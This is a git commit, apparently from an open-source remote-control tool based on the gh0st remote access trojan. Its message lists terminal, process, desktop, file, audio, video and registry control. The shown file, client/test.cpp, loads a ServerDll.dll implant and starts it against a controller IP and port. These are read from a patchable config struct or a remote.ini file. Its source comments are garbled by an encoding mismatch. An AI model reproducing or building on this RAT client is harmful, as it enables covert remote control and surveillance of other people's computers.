基于gh0st的远程控制器

实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
This commit is contained in:
yuanyuanxiang
2019-01-05 20:21:43 +08:00
parent 3a66916242
commit 27fcb6284e
136 changed files with 33399 additions and 0 deletions

53
client/test.cpp Normal file
View File

@@ -0,0 +1,53 @@
#include <windows.h>
#include <stdio.h>
#include <iostream>
typedef void (*StopRun)();
typedef bool (*IsStoped)();
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
StopRun stop = NULL;
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
IsStoped bStop = NULL;
struct CONNECT_ADDRESS
{
DWORD dwFlag;
char szServerIP[MAX_PATH];
int iPort;
}g_ConnectAddress={0x1234567,"",0};
int main()
{
char path[_MAX_PATH], *p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
strcpy(p+1, "ServerDll.dll");
HMODULE hDll = LoadLibraryA(path);
typedef void (*TestRun)(char* strHost,int nPort );
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
if (run)
{
char *ip = g_ConnectAddress.szServerIP;
int &port = g_ConnectAddress.iPort;
if (0 == strlen(ip))
{
strcpy(p+1, "remote.ini");
GetPrivateProfileStringA("remote", "ip", "127.0.0.1", ip, _MAX_PATH, path);
port = GetPrivateProfileIntA("remote", "port", 2356, path);
}
printf("[remote] %s:%d\n", ip, port);
run(ip, port);
#ifdef _DEBUG
while(1){ char ch[64]; std::cin>>ch; if (ch[0]=='q'){ break; } }
if (stop) stop();
while(bStop && !bStop()) Sleep(200);
#endif
}
return -1;
}